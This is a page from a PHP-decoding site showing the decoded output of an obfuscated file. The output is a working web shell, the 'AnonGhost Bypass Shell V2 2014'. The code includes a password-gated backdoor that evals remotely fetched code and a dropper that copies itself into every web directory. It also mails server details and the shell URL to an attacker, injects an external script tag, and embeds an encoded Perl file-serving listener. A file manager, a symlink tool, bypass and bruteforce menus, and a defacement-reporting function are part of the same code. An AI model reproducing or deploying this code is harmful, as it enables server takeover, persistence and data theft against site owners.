Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $gzinflate = "==wyN5IcD8f8u6nXc8QhqPb5zlBSXB1lHyg21LtyNxHWd3INGZybEnkVE19gILJRnK5..

Decoded Output download

?>b'<?php
@session_start();
@error_reporting(0);
$a = \'<?php

$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";
$gzinflate = "==gbtqUPHx8zxsQ5rw6dWmWdPEpVqxfUN67/7duvGvp57Ru/Wq/0eWmhkbJpEE+jV/qbZv+1gWt5W21KMchd1acbI4Ik+7g5xP+s8UDWk6dC7KWlsV8pznKTfwIlUaEAIEOC64CCiaQ8qg9paxr827ngaiWmVe7ZZY464Zo18uf4f7SVNchUN1JCmY2RC9siRc4500fJdG9iTq1W5A3KcZbg9Y/41jGCRUR5aOPSGZGwOWly+6frNswNo0KdqFxJDo6WIhAVZSsIr2BqGKIENWbjvACaZ6m98hHxYh3OAC3gB160gkdgjvvYhkkySGCvLnAbiSbLem8XISK8McXLJPqwCmV7IIabEAJSnuFO273guhIWVsQlJtZWJhkkj62SfPWhY0j9RL0ZIYCRBjwj9dMfmykvc0+3k0iBM1G1p9yvxnTkyNRbDgzllKyp6OWcD0xFar9TlVvNWA5gc8D9v4HFwI8abFVfcin/bGAZBwJe+DZAvFg/LGAdB4vhBkXA";
eval(htmlspecialchars_decode(urldecode(base64_decode($gz))));
exit;
?>
<form action="" method="post">
<input type="text" name="p">
</form>
\';
if (@$_REQUEST["px"]) {
    $p = @$_REQUEST["px"];
    $pa = md5(sha1($p));
    if ($pa == "013f0a41203c0ad0f68033f4a53c7e6d") {
        echo eval(@file_get_contents(@$_REQUEST["404"]));
    }
}
if (@!$_SESSION["sdm"]) {
    $doc = $_SERVER["DOCUMENT_ROOT"];
    $dir = scandir($doc);
    $d1 = \'\' . $doc . \'/.\';
    $d2 = \'\' . $doc . \'/..\';
    if (($key = @array_search(\'.\', $dir)) !== false) {
        unset($dir[$key]);
    }
    if (($key = @array_search(\'..\', $dir)) !== false) {
        unset($dir[$key]);
    }
    if (($key = @array_search($d1, $dir)) !== false) {
        unset($dir[$key]);
    }
    if (($key = array_search($d2, $dir)) !== false) {
        unset($dir[$key]);
    }
    @array_push($dir, $doc);
    foreach ($dir as $d) {
        $p = $doc . "/" . $d;
        if (is_dir($p)) {
            $file = $p . "/style-js.php";
            @touch($file);
            $folder = @fopen($file, "w");
            @fwrite($folder, $a);
        }
    }

}
?>
<?php
$kime = "[email protected]";
$baslik = "Anon ";
$EL_MuHaMMeD = "Dosya Yolu : " . $_SERVER[\'DOCUMENT_ROOT\'] . "
";
$EL_MuHaMMeD.= "Server Admin : " . $_SERVER[\'SERVER_ADMIN\'] . "
";
$EL_MuHaMMeD.= "Server isletim sistemi : " . $_SERVER[\'SERVER_SOFTWARE\'] . "
";
$EL_MuHaMMeD.= "Shell Link : http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'PHP_SELF\'] . "
";
$EL_MuHaMMeD.= "Avlanan Site : " . $_SERVER[\'HTTP_HOST\'] . "
";
mail($kime, $baslik, $EL_MuHaMMeD);
echo "<SCRIPT SRC=http://teledramasinhala.com/img/icons/image.js></SCRIPT>";
 ?>
<?php
@session_start();
@error_reporting(0);
session_start();

error_reporting(E_ERROR | E_PARSE);
@ini_set("max_execution_time",0);
@set_time_limit(0); #No Fx in SafeMode
@ignore_user_abort(TRUE);
@set_magic_quotes_runtime(0);

// global configs

$username="AnonGhost";
$password = "AnonGhost"; // shell password, change it, max 50 chars
$warn="<center><img src=\'http://mfs1.cdnsw.com/fs/Nouveau_dossier/6qyet-alarme.gif\'   height=\'150px\' width=\'150px\'/></center><br>
<audio autoplay loop > <source src=\"http://soundbible.com/mp3/Red%20Alert-SoundBible.com-108009997.mp3\" type=\"audio/mpeg\"></audio>";
$about = "<style type=\"text/css\">body { background-color:#222222; color: rgb(0, 119, 0); text-align: center } a{text-decoration:none; font-family: Tahoma, Geneva; color:#007700; padding:2px 2px;}
      a:hover{color:#009900; text-shadow:#00ff00 0px 0px 3px;} 
.cont a{ text-decoration: none; color:rgb(0, 153, 0); font-family: Tahoma, Arial, sans-serif  ; font-size: 16px; text-shadow: 0px 0px 3px ; } .cont a:hover{ color: #FF0000 ; text-shadow:0px 0px 3px #ff0000 ;} 
div.logindiv { background-color:#353535; width:30%; border-radius:7px; margin-top:2px; -moz-border-radius:25px; height:55px; border: solid 1px #828282; border-radius: 5px; box-shadow: 0px 0px 10px #000000; }
div.logindiv:hover { background-color:#e4e4e4; width:30%; border-radius:7px; margin-top:2px; -moz-border-radius:25px; height:55px; border: solid 1px #007700; border-radius: 5px; box-shadow: 0px 0px 8px #00bb00; }</style>
<center><span style=\'font-size:25px; font-family:Fredericka the Great; color:#009900\'>
AnonGhost Bypass Shell V2 2014</span><br><br><font color=\"#007700\" size=\"1pt\">Coded by </font><font  color=\"#00bb00\" size=\"1pt\">Virusa Worm</font> <font color=\"#007700\" size=\"1pt\">-</font> <font color=\"#00bb00\" size=\"1pt\">Mauritania Attacker</font> | <font color=\"#007700\" size=\"1pt\">Special thankz to : </font><font color=\"#00bb00\"  size=\"1pt\">AnonGhost Team</font><br><center><div class=\"logindiv\"><table cellpadding=\"7\" cellspacing=\"2\">
<br><center><iframe src=\'https://www.facebook.com/plugins/like.php?href=https://www.facebook.com/AnonGhostOfficial2&amp;send=false&amp;layout=standard&amp;width=400&amp;show_faces=false&amp;action=like&amp;colorscheme=light&amp;font=arial&amp;height=35\' scrolling=\'no\' frameborder=\'0\' style=\'border:none; overflow:hidden; width:350px; height:20px;\' allowTransparency=\'true\'></iframe></center></table></div></center><br><font color=\"#009900\" size=\"1pt\">Greetz to : </font><br><font color=\"#00bb00\" size=\"1pt\">
AnonGhost - Teamp0ison - ZHC - Mauritania HaCker Team - 3xp1r3 Cyber Army - TeaMp0isoN - Robot Pirates - X-Blackerz INC. - Pak Cyber Pyrates - iMHATiMi.ORG - Afghan Cyber Army (ACA) - <font color=\"#007700\" size=\"1pt\">[ </font>Tanpa Bicara - Maniak k4Sur </font><font color=\"#007700\" size=\"1pt\">[pasangan galo.. lol..]]</font><br></center><br>";
$ben = "<style type=\"text/css\">body { background-color:#222222; color: rgb(0, 119, 0); text-align: center }  
    </style>
<center><img src=\"http://www4.0zz0.com/2014/08/22/21/544545766.jpg\" /><br><br><center>
<span style=\"font-size:30px; font-family:Fredericka the Great; color:#009900\">AnonGhost Bypass Shell V2 2014</span><br><font color=\"#008800\" size=\"1pt\">Coded by </font><font  color=\"#00bb00\" size=\"1pt\">Virusa Worm</font> <font color=\"#006600\" size=\"1pt\">-</font> <font color=\"#00bb00\" size=\"1pt\">Mauritania Attacker</font><br><br><center><img src=\"http://www7.0zz0.com/2014/08/22/20/260354169.png\"></center><br><span style=\"font-size:40px; font-family:Fredericka the Great; color:#ff0000\">You Have Been BANNED using this Shell</span><br><br><br><font color=\"#007700\" size=\"1pt\">AnonGhost Bypass Shell V2 2014 is created for Educational Purpose and testing on your own server, and not responsible for any misuse of it.</font> <br><br><font color=\"#009900\" size=\"1pt\">At first a Web Hacker was someone who would spend long hours trying to find bugs and exploit manually.</font><br><font color=\"#009900\" size=\"1pt\">The term has now changed known as a Defacer nowadays.<br>Tools does not Made Hackers , Hackers make Tools.<br>Do not Learn To Hack , Hack to Learn.wkkwk..<br><br><font color=\"#00ff00\" size=\"1pt\">\"</font>Keep Calm and enjoy Hacking \!/<font color=\"#00ff00\" size=\"1pt\">\"</font><br><br><br><font color=\"#007700\" size=\"1pt\">Special thankz to : </font><font color=\"#00bb00\" size=\"1pt\">AnonGhost Team</font><br><br>
<center><div class=\"logindiv\"><table cellpadding=\"7\" cellspacing=\"2\">
<center><br><iframe src=\"https://www.facebook.com/plugins/like.php?href=https://www.facebook.com/AnonGhostOfficial2&amp;send=false&amp;layout=standard&amp;width=400&amp;show_faces=false&amp;action=like&amp;colorscheme=light&amp;font=arial&amp;height=35\" scrolling=\"no\" frameborder=\"0\" style=\"border:none; overflow:hidden; width:350px; height:20px;\" allowTransparency=\"true\"></iframe></center></table></div></center><br>
<font color=\"#009900\" size=\"1pt\">Greetz to : </font><br><font color=\"#00bb00\" size=\"1pt\">
AnonGhost - Teamp0ison - ZHC - Mauritania HaCker Team - 3xp1r3 Cyber Army - TeaMp0isoN - Robot Pirates - X-Blackerz INC. - Pak Cyber Pyrates - iMHATiMi.ORG - Afghan Cyber Army (ACA) - <font color=\"#007700\" size=\"1pt\">[ </font>Tanpa Bicara - Maniak k4Sur </font><font color=\"#007700\" size=\"1pt\">[pasangan galo.. lol..]]</font><br></font></center>
</body>
</html>";
		
$symlink = stripslashes(base64_decode("IyEvdXNyL2Jpbi9lbnYgcGVybA0KIyBkZXZpbHpjMGRlLm9yZyAoYykgMjAxMg0KDQp1c2UgU29ja2V0Ow0KDQokcG9ydCA9IDEzMTIzOw0KDQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoXCd0Y3BcJyk7DQpzb2NrZXQoUywmUEZfSU5FVCwmU09DS19TVFJFQU0sJHByb3RvY29sKSB8fCBkaWU7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kIChTLHNvY2thZGRyX2luKCRwb3J0LElOQUREUl9BTlkpKSB8fCBkaWU7DQpsaXN0ZW4gKFMsMykgfHwgZGllOw0Kd2hpbGUoMSl7DQoJYWNjZXB0IChDT05OLFMpOw0KCSRyZXE9PENPTk4+OyBjaG9tcCgkcmVxKTsgJHJlcT1+cy9cXHIvL2c7DQoJJHJlcSA9fiBzL1xcJShbQS1GYS1mMC05XXsyfSkvcGFjayhcJ0NcJywgaGV4KCQxKSkvc2VnOw0KCQ0KCXByaW50ICRyZXEuXCJcXHJcXG5cIjsNCgkNCgkkaGVhZGVycyA9IFwiSFRUUC8xLjEgMjAwIE9LXFxyXFxuXCI7DQoJJGhlYWRlcnMgLj0gXCJTZXJ2ZXI6IFBlcmxcXHJcXG5cIjsNCgkNCgkkdGFyZ2V0ID0gJHJlcTsNCglpZigkcmVxID1+IC9HRVQgLiogSFRUUC4qLyl7DQoJCSR0YXJnZXQgPX4gcy9HRVRcXCAvLzsNCgkJJHRhcmdldCA9fiBzL1xcIEhUVFAuKi8vOw0KCQkkcmVzcCA9IFwiXCI7DQoJCWlmKC1kICR0YXJnZXQpew0KCQkJaWYoISgkdGFyZ2V0ID1+IC8uKlxcLyskLykpew0KCQkJCSR0YXJnZXQgPSAkdGFyZ2V0LlwiL1wiOw0KCQkJfQ0KCQkJDQoJCQkkcmVzcCA9IFwiPCFET0NUWVBFIGh0bWwgUFVCTElDIFxcXCItLy9XM0MvL0RURCBIVE1MIDMuMiBGaW5hbC8vRU5cXFwiPg0KCQkJCQk8aHRtbD4NCgkJCQkJPHRpdGxlPkRpcmVjdG9yeSBsaXN0aW5nIGZvciBcIi4kdGFyZ2V0LlwiPC90aXRsZT4NCgkJCQkJPGJvZHk+DQoJCQkJCTxoMj5EaXJlY3RvcnkgbGlzdGluZyBmb3IgXCIuJHRhcmdldC5cIjwvaDI+DQoJCQkJCTxocj48dWw+XCI7DQoJCQkJCQ0KCQkJaWYob3BlbmRpcihESVIsJHRhcmdldCkpew0KCQkJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKXsNCgkJCQkJaWYoLWQgJHRhcmdldC4kZmlsZSl7DQoJCQkJCQlpZigoJGZpbGUgZXEgXCIuXCIpIHx8ICgkZmlsZSBlcSBcIi4uXCIpKXsgbmV4dDsgfQ0KCQkJCQkJJHJlc3AgLj0gXCI8bGk+PGEgaHJlZj1cXFwiXCIuJHRhcmdldC4kZmlsZS5cIi9cXFwiPlwiLiRmaWxlLlwiLzwvYT48L2xpPlxcclxcblwiOw0KCQkJCQl9DQoJCQkJCWVsc2lmKC1mICR0YXJnZXQuJGZpbGUpew0KCQkJCQkJJHJlc3AgLj0gXCI8bGk+PGEgaHJlZj1cXFwiXCIuJHRhcmdldC4kZmlsZS5cIlxcXCI+XCIuJGZpbGUuXCI8L2E+PC9saT5cXHJcXG5cIjsNCgkJCQkJfQ0KCQkJCX0NCgkJCQljbG9zZWRpcihESVIpOw0KCQkJfQ0KDQoJCQkkcmVzcCAuPSBcIjwvdWw+PGhyPg0KCQkJCQk8L2JvZHk+DQoJCQkJCTwvaHRtbD5cIjsNCgkJCQkJDQoJCQkkY29ubGVuID0gbGVuZ3RoKCRyZXNwKTsNCgkJCSRjb250eXBlID0gXCJ0ZXh0L2h0bWxcIjsNCgkJCXByaW50IFwiRGlyIDogXCIuJHRhcmdldC5cIlxcclxcblwiOw0KCQl9DQoJCWVsc2lmKC1mICR0YXJnZXQpew0KCQkJJGNvbmxlbiA9IC1zICR0YXJnZXQ7DQoJCQkkY29udHlwZSA9IFwidGV4dC9wbGFpblwiOw0KCQkJcHJpbnQgXCJGaWxlIDogXCIuJHRhcmdldC5cIiAoXCIuJGNvbmxlbi5cIilcXHJcXG5cIjsNCgkJfQ0KDQoJCXByaW50IFwiY29udHlwZSA6IFwiLiRjb250eXBlLlwiXFxyXFxuXCI7DQoJCXByaW50IFwiY29ubGVuIDogXCIuJGNvbmxlbi5cIlxcclxcblwiOw0KCQkNCgkJJGhlYWRlcnMgLj0gXCJDb250ZW50LVR5cGU6IFwiLiRjb250eXBlLlwiXFxyXFxuXCI7DQoJCSRoZWFkZXJzIC49IFwiQ29udGVudC1MZW5ndGg6IFwiLiRjb25sZW4uXCJcXHJcXG5cIjsNCgkNCgkJcHJpbnQgQ09OTiAkaGVhZGVycy5cIlxcclxcblwiOw0KCQkNCgkJaWYoLWQgJHRhcmdldCl7DQoJCQlwcmludCBDT05OICRyZXNwOw0KCQl9DQoJCWVsc2lmKC1mICR0YXJnZXQpew0KCQkJaWYob3BlbihGSUxFLCR0YXJnZXQpKXsNCgkJCQliaW5tb2RlIEZJTEU7DQoJCQkJd2hpbGUgKCgkbiA9IHJlYWQgRklMRSwgJGRhdGEsIDEwMjQpICE9IDApIHsgDQoJCQkJCXByaW50IENPTk4gJGRhdGE7DQoJCQkJfSANCgkJCQljbG9zZShGSUxFKTsgDQoJCQl9DQoJCX0NCgl9DQoJY2xvc2UgQ09OTjsNCn0NCmV4aXQgMDs="));

function Zip($source, $destination)
{
    if (!extension_loaded(\'zip\') || !file_exists($source)) {
        return false;
    }

    $zip = new ZipArchive();
    if (!$zip->open($destination, ZIPARCHIVE::CREATE)) {
        return false;
    }

    $source = str_replace(\'\\', \'/\', realpath($source));

    if (is_dir($source) === true)
    {
        $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);

        foreach ($files as $file)
        {
            $file = str_replace(\'\\', \'/\', realpath($file));

            if (is_dir($file) === true)
            {
                $zip->addEmptyDir(str_replace($source . \'/\', \'\', $file . \'/\'));
            }
            else if (is_file($file) === true)
            {
                $zip->addFromString(str_replace($source . \'/\', \'\', $file), file_get_contents($file));
            }
        }
    }
    else if (is_file($source) === true)
    {
        $zip->addFromString(basename($source), file_get_contents($source));
    }

    return $zip->close();
}

function getperms ($file) {        
    $perm = substr(sprintf(\'%o\', fileperms($file)), -4);
    return $perm;
}

if(isset($_GET[\'zip\'])) {
    $src = $_GET[\'zip\'];
    $dst = getcwd()."/".basename($_GET[\'zip\']).".zip";
    if (Zip($src, $dst) != false) {
        $filez = file_get_contents($dst);
        header("Content-type: application/octet-stream");
        header("Content-length: ".strlen($filez));
        header("Content-disposition: attachment; filename=\"".basename($dst)."\";");
        echo $filez;
    }
    exit;
}

function showDrives()
    {
        global $self;
        foreach(range(\'A\',\'Z\') as $drive)
        {
            if(is_dir($drive.\':\\'))
            {
                ?>
                &nbsp;&nbsp;&nbsp;&nbsp;<a style="font-family:vernada;color:#00dd00" href=\'<?php echo $self ?>?go=<?php echo $drive.":\"; ?>&action=mumpet\'>
                    <?php echo $drive.":\" ?>
                </a> 
                <?php
            }
        }
    }


function HumanReadableFilesize($size)
    {
 
        $mod = 1024;
 
        $units = explode(\' \',\'B KB MB GB TB PB\');
        for ($i = 0; $size > $mod; $i++) 
        {
            $size /= $mod;
        }
 
        return round($size, 2) . \' \' . $units[$i];
    }
function getFilePermissions($file)
{
    
$perms = fileperms($file);

if (($perms & 0xC000) == 0xC000) {
    // Socket
    $info = \'s\';
} elseif (($perms & 0xA000) == 0xA000) {
    // Symbolic Link
    $info = \'l\';
} elseif (($perms & 0x8000) == 0x8000) {
    // Regular
    $info = \'-\';
} elseif (($perms & 0x6000) == 0x6000) {
    // Block special
    $info = \'b\';
} elseif (($perms & 0x4000) == 0x4000) {
    // Directory
    $info = \'d\';
} elseif (($perms & 0x2000) == 0x2000) {
    // Character special
    $info = \'c\';
} elseif (($perms & 0x1000) == 0x1000) {
    // FIFO pipe
    $info = \'p\';
} else {
    // Unknown
    $info = \'u\';
}

// Owner
$info .= (($perms & 0x0100) ? \'r\' : \'-\');
$info .= (($perms & 0x0080) ? \'w\' : \'-\');
$info .= (($perms & 0x0040) ?
            (($perms & 0x0800) ? \'s\' : \'x\' ) :
            (($perms & 0x0800) ? \'S\' : \'-\'));

// Group
$info .= (($perms & 0x0020) ? \'r\' : \'-\');
$info .= (($perms & 0x0010) ? \'w\' : \'-\');
$info .= (($perms & 0x0008) ?
            (($perms & 0x0400) ? \'s\' : \'x\' ) :
            (($perms & 0x0400) ? \'S\' : \'-\'));

// World
$info .= (($perms & 0x0004) ? \'r\' : \'-\');
$info .= (($perms & 0x0002) ? \'w\' : \'-\');
$info .= (($perms & 0x0001) ?
            (($perms & 0x0200) ? \'t\' : \'x\' ) :
            (($perms & 0x0200) ? \'T\' : \'-\'));

return $info;

}
function dirSize($directory) {
    $size = 0;
    foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory)) as $file){
        try {       
            $size += $file->getSize();
        }
        catch (Exception $e){    // Symlinks and other shits
            $size += 0;
        }
    }
    return $size;
}


function ZoneH($url, $hacker, $hackmode,$reson, $site )
{
	$k = curl_init();
	curl_setopt($k, CURLOPT_URL, $url);
	curl_setopt($k,CURLOPT_POST,true);
	curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson);
	curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);
	curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
	$kubra = curl_exec($k);
	curl_close($k);return $kubra;
}

?>
<html>
<head>
<title>AnonGhost Bypass Shell V2 2014</title><link rel="shortcut icon" href="http://www14.0zz0.com/2014/06/04/21/396554394.png" type="image/x-icon" />
<style type="text/css">
*{
margin:0; padding:0; border:0; }
body{ background-color: #222222 !important; color: #009900; text-shadow:#000 0px 2px 7px;}
      a{text-decoration:none; font-family: Tahoma, Geneva; color:#007700; padding:2px 2px;}
      a:hover{color:#009900; text-shadow:#00ff00 0px 0px 3px;}
input, textarea, select{ outline: none; }
a{ text-decoration:none; background:0 !important; color: #007700; text-shadow: #000000 0px 0px 4px; }
a:hover{ text-decoration:none; color: #00dd00; text-shadow: #00ff00 0px 0px 4px; }
#menu a{ padding: 3px; border: 1px solid #007700; box-shadow: 0px 0px 3 #007700; color: #007700; text-decoration: none;color: #007700; text-shadow: 0px 0px 0px #007700; font-weight: bold; font-family: Tahoma, Geneva, sans-serif; font-size:12px; padding: 1px; -webkit-border-radius: 4px;   -moz-border-radius: 4px;   border-radius: 4px;   -webkit-box-shadow: rgb(85,85,85) 0px 0px 0px;   -moz-box-shadow: rgb(85,85,85) 0px 0px 0px; }
#menu a:hover{ padding: 3px; border: 1px solid #00bb00; color: #00ff00; box-shadow: 0px 0px 3px #00bb00; text-shadow: 0px 0px 3px #00bb00; padding: 1px; -webkit-border-radius: 4px;   -moz-border-radius: 4px;   border-radius: 4px;   -webkit-box-shadow: rgb(51,51,51) 0px 0px 3px;   -moz-box-shadow: rgb(51,51,51) 0px 0px 3px;}
#det{ border-top: 1px solid #007700; border-bottom: 1px solid #007700; font-family: Tahoma; font-size: 11px; width:90%;}
#deti{ border-top: 0px solid #007700; border-bottom: 1px solid #007700; font-family: Tahoma; font-size: 11px; width:47%;}
input[type=submit]{ padding: 3px; color: #00770;  font-weight: bold; text-align: center;  text-shadow: 0 1px rgba(255, 255, 255, 0.3);  background: #aeaeae;  background-clip: padding-box;  border: 1px solid #284473;  border-bottom-color: #223b66;  border-radius: 4px;  cursor: pointer;  background-image:-webkit-linear-gradient(top, #eaeaea, #d0d0d0);  background-image: -moz-linear-gradient(top, #eaeaea, #d0d0d0);  background-image: -o-linear-gradient(top, #eaeaea, #d0d0d0);  background-image: linear-gradient(to bottom, #eaeaea, #d0d0d0);  -webkit-box-shadow: inset 0 1px rgba(255, 255, 255, 0.5), inset 0 0 7px rgba(255, 255, 255, 0.4), 0 1px 1px rgba(0, 0, 0, 0.15);  box-shadow: inset 0 1px rgba(255, 255, 255, 0.5), inset 0 0 7px rgba(255, 255, 255, 0.4), 0 1px 1px rgba(0, 0, 0, 0.15); }
input[type=text]{ padding: 3px; color: #009900; text-shadow: #777777 0px 0px 3px; border: 1px solid #007700; background: transparent; box-shadow: 0px 0px 4px #007700;    padding: 3px;   -webkit-border-radius: 4px;
   -moz-border-radius: 4px;   border-radius: 4px;   -webkit-box-shadow: rgb(85,85,85) 0px 0px 4px;   -moz-box-shadow: rgb(85,85,85) 0px 0px 4px;}
input[type=submit]:hover, input[type=text]:hover{ color: #ffffff; text-shadow: #006600 0px 0px 4px; box-shadow: 0px 0px 4px #00dd00; border: 1px solid #00dd00;    padding: 3px;   -webkit-border-radius: 4px;
   -moz-border-radius: 4px;   border-radius: 4px;   -webkit-box-shadow: rgba(0,119,0) 0px 0px 4px;   -moz-box-shadow: rgba(0,119,0) 0px 0px 4px;}
select{ padding: 3px; width: 162px; color: #00aa00; text-shadow:#000 0px 2px 7px; border: 1px solid #007700; background: transparent; text-decoration: none; box-shadow: 0px 0px 4px #00aa00;  padding: 3px;   -webkit-border-radius: 4px;   -moz-border-radius: 4px;
   border-radius: 4px;   -webkit-box-shadow: rgb(85, 85, 85) 0px 0px 4px;   -moz-box-shadow: rgb(85, 85, 85) 0px 0px 4px;}
select:hover{ border: 1px solid #00dd00; box-shadow: 0px 0px 4px #00dd00;   padding: 3px;   -webkit-border-radius: 4px;   -moz-border-radius: 4px;   border-radius: 4px;   -webkit-box-shadow: rgba(0,119,0) 0px 0px 4px;
   -moz-box-shadow: rgba(0,119,0) 0px 0px 4px;}
#commands{ margin-left: 350px; margin-right: 350px; }
option{ color: #00aa00; }
#box{ margin-left: 250px; margin-right: 250px; border: 1px solid #007700; box-shadow: 0px 0px 4px #007700;}
#box span{ margin-left: 10px; margin-right: 10px; display:block; padding: 4px; }
#box span:hover{ background:#333333; padding: 3px; border: 1px solid #007700; color: #009900; }
#za{ float:right; 
   border: 0px solid #007700;
   background: transparent;

   color: #009900;
   font-size: 11px;
   font-family: Tahoma, Arial, sans-serif
   text-decoration: none;
   vertical-align: middle;
}
#za:hover {   border-color: #555555;   color: #ffffff;   }
#za:active {   border-top-color: #e0e000;   background: #e0e000;   }
#sourcea{ color: #999999; background-color:transparent; width: 650px; height: 450px;  text-shadow:#000000 0px 2px 7px; box-shadow: 0px 0px 4px #e4e4e4;}
#source{ color: #007700; background-color:transparent; width: 550px; height: 300px;  text-shadow:#000000 0px 2px 7px; box-shadow: 0px 0px 4px #007700;    padding: 3px;   -webkit-border-radius: 4px;   -moz-border-radius: 4px;   border-radius: 4px;   -webkit-box-shadow: rgb(51,51,51) 0px 0px 4px;   -moz-box-shadow: rgb(51,51,51) 0px 0px 4px;}

#onmouseover:hover{ background-color:red; }
.tul { face:Tahoma, Geneva, sans-serif; font-size: 7pt; }
.cont a{ text-decoration: none; color:rgb(0, 119, 0); font-family: Tahoma, Arial, sans-serif  ; font-size: 14px; text-shadow:0px 2px 7px #333333 ;  }
.cont a:hover{ color: #00dd00 ;  text-shadow:0px 0px 4px #00ff00 ; }
.conte a{ text-decoration: none; color:rgb(0, 119, 0); font-family: Tahoma, Arial, sans-serif  ; font-size: 11px; text-shadow:0px 2px 7px #000000 ; width:90%; }
.conte a:hover{ color: #00dd00 ; font-family: Tahoma, Arial, sans-serif  ; font-size: 11px;  text-shadow:0px 0px 4px #00dd00 ; }
.cone a{ text-decoration: none; color:rgb(0, 136, 0); font-family: Tahoma, Arial, sans-serif  ; font-size: 11px; text-shadow:0px 2px 7px #000000 ;  }
.cone a:hover{ color: #00ff00 ; text-shadow:0px 0px 3px #007700 ; }
.footer{ font-family:Tahoma, Arial, sans-serif; color: #ff6000 ; font-size: 11pt; }
.footer a : hover{ color: #e4e4e4 ; text-shadow: 0px 0px 4px #e4e4e4; }
.area { color: #00bb00; font-size: 9pt; text-shadow:#000000 0px 2px 7px; background-color:transparent; box-shadow: 0px 0px 4px #009900;    padding: 3px;   -webkit-border-radius: 4px;   -moz-border-radius: 4px;   border-radius: 4px;   -webkit-box-shadow: rgb(0,119,0) 0px 0px 4px;   -moz-box-shadow: rgb(0,119,0) 0px 0px 4px; }
.tmp tr td{ border: solid 1px #007700; padding: 2px ; font-size: 11px; }
.tmp tr td a { text-decoration: none; }
.tmpe tr td{ font-family: Tahoma; color: #009900; border: solid 0px #007700; padding: 2px ; font-size: 11px; }
.tmpe tr td a { text-decoration: none; }
.teke a{ padding: 1px; border: 1px solid #007700; box-shadow: 0px 0px 4px #007700; text-decoration: none; color: #009900; font-weight: bold; font-family: Tahoma, Geneva, sans-serif; font-size:11px;    padding: 3px;   -webkit-border-radius: 4px;   -moz-border-radius: 4px;   border-radius: 4px;   -webkit-box-shadow: rgb(228, 228, 228) 0px 0px 4px;   -moz-box-shadow: rgb(228, 228, 228) 0px 0px 4px;}
.teke a:hover{ padding: 1px; border: 1px solid #00bb00;  color: #e4e4e4; box-shadow: 0px 0px 4px #00bb00;   padding: 3px;   -webkit-border-radius: 4px;   -moz-border-radius: 4px;   border-radius: 4px;   -webkit-box-shadow: rgba(0,221,0) 0px 0px 4px;   -moz-box-shadow: rgba(0,221,0) 0px 0px 4px;}
div#sonuc{width:400px; height:200px; color: #007700; font-size: 8pt; background-color:transparent; box-shadow: 0px 0px 4px #007700;    padding: 3px;   -webkit-border-radius: 4px;   -moz-border-radius: 4px;   border-radius: 4px;   -webkit-box-shadow: rgb(228, 228, 228) 0px 0px 4px;   -moz-box-shadow: rgb(228, 228, 228) 0px 0px 4px;} 
div#form{font:12px/21px Tahoma;} 
input#submit{width:445px;height:55px;font:19px/21px Arial}
#ftr{ border-top: 0px solid #ababab; border-bottom: 0px solid #ababab; font-family: Courier New, Courier, monospace; color: #00bb00; font-size: 10px; width="75%"}
#ftr:hover{ color:#00ff00; text-shadow:#000000 0px 0px 3px;} 
div.logindiv { background-color:#353535; width:30%; border-radius:7px; margin-top:2px; -moz-border-radius:25px; height:55px; border: solid 1px #828282; border-radius: 5px; box-shadow: 0px 0px 10px #000000; }
div.logindiv:hover { background-color:#e4e4e4; width:30%; border-radius:7px; margin-top:2px; -moz-border-radius:25px; height:55px; border: solid 1px #007700; border-radius: 5px; box-shadow: 0px 0px 8px #00bb00; }
#boxe{ margin-left: 230px; margin-right: 230px; border: 0px solid #007700; border-radius: 4px; box-shadow: 0px 0px 0px #009900;}
#boxe a{ margin-left: 10px; margin-right: 10px; display:block; padding: 4px;}
</style>
</head>
<body>
<?php


if(isset($_SESSION[\'loggedin\']) && !empty($_SESSION[\'loggedin\'])){
// welcome user
echo \'<center>\'.base64_decode("PGltZyBzcmM9Imh0dHA6Ly93d3c0LjB6ejAuY29tLzIwMTQvMDgvMjIvMjEvNTQ0NTQ1NzY2LmpwZyIgLz4=").\'</center>\' ;
echo \'<center><font color="#007700" face="Tahoma, Geneva, sans-serif" style="font-size: 8pt">\';
echo \'<div id="deti"><font color="#009900" style="font-size: 7pt">Kernel Version : </font><font color="#00bb00" style="font-size: 7pt">\';echo php_uname();
echo \'</font>\';

echo \'<br><font color="#009900" style="font-size: 7pt">PHP Version:</font> <font color="00bb00" style="font-size: 7pt">\';echo phpversion();

echo \'</font><font color="#00dd00"> |</font> <font color="#009900" style="font-size: 7pt">Current User :</font> <font color="00bb00" style="font-size: 7pt">\';echo get_current_user();

echo \'</font><font color="#00dd00"> |</font> <font color="#009900" style="font-size: 7pt">User ID :</font> <font color="00bb00" style="font-size: 7pt">\';echo getmyuid();

echo \'</font><font color="#00dd00"> |</font> <font color="#009900" style="font-size: 7pt">Group :</font> <font color="00bb00" style="font-size: 7pt">\';echo getmygid();

echo \'</font><font color="#00dd00"> |</font> <font color="#009900" style="font-size: 7pt">Cwd :</font> <font color="00bb00" style="font-size: 7pt">\';echo getcwd();
echo \'</font></b></div><br></center>\';

?>
<center>
<div id="menu" class="font-effect-fire-animation" style=font-family:Ubuntu;font-size:20px; align="center">
<a href="<?php echo htmlentities($_SERVER[\'PHP_SELF\']); ?>">&nbsp;Home&nbsp;</a>
<a href="?action=mumpet">&nbsp;File Manager&nbsp;</a>
<a href="?action=sime">&nbsp;Symlink&nbsp;</a>
<a href="?action=baipas">&nbsp;Bypass&nbsp;</a>
<a href="?action=brut">&nbsp;Bruteforce&nbsp;</a>
